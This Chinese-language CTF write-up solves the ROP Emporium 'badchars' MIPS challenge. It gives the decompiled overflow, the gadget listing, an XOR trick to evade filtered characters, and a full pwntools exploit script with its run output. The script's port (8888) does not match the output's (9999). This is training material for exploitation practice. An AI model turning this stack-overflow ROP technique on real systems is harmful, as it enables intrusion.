pwnme反编译代码如下,可以看到会对写入的缓冲区逐个字节进行检查,如果包含x、g、a、.字符,则替换成0xEB。 在程序中含有print_file函数,因此大概的思路是需要使用ROP带参数flag.txt调用print_file函数,同时需要找一个方法来规避pwnme函数对缓冲区中数字的过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int pwnme () { unsigned int len; unsigned int i; unsigned int j; char v4[32 ]; setvbuf(stdout , 0 , 2 , 0 ); puts ("badchars by ROP Emporium" ); puts ("MIPS\n" ); memset (v4, 0 , sizeof (v4)); puts ("badchars are: 'x', 'g', 'a', '.'" ); printf ("> " ); len = read(0 , v4, 0x200 u); for ( i = 0 ; i < len; ++i ) { for ( j = 0 ; j < 4 ; ++j ) { if ( v4[i] == badcharacters[j] ) v4[i] = 0xEB ; } } return puts ("Thank you!" ); }
ROP 通过看官方内置的gadgets,大概的思路应该是,先将ROP异或某个数写入到缓冲区,然后控制流劫持后,再使用异或恢复缓冲区。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:00400930 usefulGadgets: .text:00400930 0C 00 B9 8F lw $t9, 0xC($sp) .text:00400934 08 00 A8 8F lw $t0, 8($sp) .text:00400938 04 00 A9 8F lw $t1, 4($sp) .text:0040093C 00 00 09 AD sw $t1, 0($t0) .text:00400940 09 F8 20 03 jalr $t9 .text:00400944 10 00 BD 23 addi $sp, 0x10 .text:00400944 .text:00400948 0C 00 B9 8F lw $t9, 0xC($sp) .text:0040094C 08 00 A8 8F lw $t0, 8($sp) .text:00400950 04 00 A9 8F lw $t1, 4($sp) .text:00400954 00 00 2A 8D lw $t2, 0($t1) .text:00400958 26 40 0A 01 xor $t0, $t2 .text:0040095C 00 00 28 AD sw $t0, 0($t1) .text:00400960 09 F8 20 03 jalr $t9 .text:00400964 10 00 BD 23 addi $sp, 0x10 .text:00400964 .text:00400968 08 00 A4 8F lw $a0, 8($sp) .text:0040096C 04 00 B9 8F lw $t9, 4($sp) .text:00400970 09 F8 20 03 jalr $t9 .text:00400974 0C 00 BD 23 addi $sp, 0xC .text:00400974 .text:00400978 00 00 00 00 nop .text:0040097C 00 00 00 00 nop
可以将该gadget分成三段: 第一段:write_to_addr,负责写入4个字节到data段中
1 2 3 4 5 6 7 .text:00400930 write_to_addr .text:00400930 0C 00 B9 8F lw $t9, 0xC($sp) # 下个gadget地址 .text:00400934 08 00 A8 8F lw $t0, 8($sp) # 写入目标地址 .text:00400938 04 00 A9 8F lw $t1, 4($sp) # 写入的数据 .text:0040093C 00 00 09 AD sw $t1, 0($t0) .text:00400940 09 F8 20 03 jalr $t9 .text:00400944 10 00 BD 23 addi $sp, 0x10
第二段:xor_decrypt,负责对指定地址的4个字节进行xor解密
1 2 3 4 5 6 7 8 9 .text:00400948 xor_decrypt .text:00400948 0C 00 B9 8F lw $t9, 0xC($sp) # 下个gadget地址 .text:0040094C 08 00 A8 8F lw $t0, 8($sp) # xor解密key .text:00400950 04 00 A9 8F lw $t1, 4($sp) # 数据地址 .text:00400954 00 00 2A 8D lw $t2, 0($t1) .text:00400958 26 40 0A 01 xor $t0, $t2 .text:0040095C 00 00 28 AD sw $t0, 0($t1) .text:00400960 09 F8 20 03 jalr $t9 .text:00400964 10 00 BD 23 addi $sp, 0x10
第三段:print_file,带参数调用print_file函数
1 2 3 4 .text:00400968 08 00 A4 8F lw $a0, 8($sp) # flag.txt地址 .text:0040096C 04 00 B9 8F lw $t9, 4($sp) # print_file函数 .text:00400970 09 F8 20 03 jalr $t9 .text:00400974 0C 00 BD 23 addi $sp, 0xC
ROP构造如下: 先填充到返回地址,ra保存在SP+0x4C,缓冲区位于SP+0x28,因此需要填充0x24,才能覆盖返回地址。
badchars = ‘.’, ‘a’, ‘g’, ‘x’ = 0x2e, 0x61, 0x67, 0x78,可以采用如下的脚本去选择一个key来和字符串进行异或:
1 2 3 4 5 6 7 8 9 10 badchars = b".agx" flag_txt = b"flag.txt" key = "" for each in flag_txt: for i in range (0 , 32 ): if each ^ i not in badchars: key += str (hex (i)) + " " print (hex (each), hex (i ^ each), chr (i ^ each)) break print ("key:" , key)
继续构造ROP,将xor_flag分两次通过第一个gadget写入到data段上。
1 2 3 4 5 6 7 8 9 10 11 rop += p32(write_to_addr) rop += b"B" * 0x4 rop += b"\x66\x6c\x60\x66" rop += p32(0x00411000 ) rop += p32(write_to_addr) rop += b"B" * 0x4 rop += b"\x2f\x74\x79\x74" rop += p32(0x00411004 ) rop += p32(xor_decrypt)
此时就规避了程序对于关键字符的过滤,那么在执行ROP的时候还需要对该字符串进行解密
1 2 3 4 5 6 7 8 9 10 rop += b"B" * 0x4 rop += p32(0x00411000 ) rop += b"\x00\x00\x01\x01" rop += p32(xor_decrypt) rop += b"B" * 0x4 rop += p32(0x00411004 ) rop += b"\x01\x00\x01\x00" rop += p32(print_file)
解密完成后,调用print_file函数
1 2 3 rop += b"B" * 0x4 rop += p32(ELF.symbols['print_file' ]) rop += p32(0x00411000 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *BINARY = "./badchars_mipsel" ELF = ELF(BINARY) context.os = "linux" context.arch = "mips" context.binary = BINARY write_to_addr = 0x00400930 xor_decrypt = 0x00400948 print_file = 0x00400968 rop = b"A" * 0x24 rop += p32(write_to_addr) rop += b"B" * 0x4 rop += b"\x66\x6c\x60\x66" rop += p32(0x00411000 ) rop += p32(write_to_addr) rop += b"B" * 0x4 rop += b"\x2f\x74\x79\x74" rop += p32(0x00411004 ) rop += p32(xor_decrypt) rop += b"B" * 0x4 rop += p32(0x00411000 ) rop += b"\x00\x00\x01\x01" rop += p32(xor_decrypt) rop += b"B" * 0x4 rop += p32(0x00411004 ) rop += b"\x01\x00\x01\x00" rop += p32(print_file) rop += b"B" * 0x4 rop += p32(ELF.symbols['print_file' ]) rop += p32(0x00411000 ) with open ("./raw" , "wb" ) as f: f.write(rop) p = remote("10.0.0.2" , 8888 ) p.sendline(rop) print (p.recvline_contains(b"ROPE" ))
结果如下:
1 2 3 4 5 6 7 8 9 10 11 $ python3 badchars.py [*] '/home/utest/Code/mipsrop/badchars_mipsel/badchars_mipsel' Arch: mips-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' [+] Opening connection to 10.0.0.2 on port 9999: Done b'ROPE{a_placeholder_32byte_flag!}' [*] Closed connection to 10.0.0.2 port 9999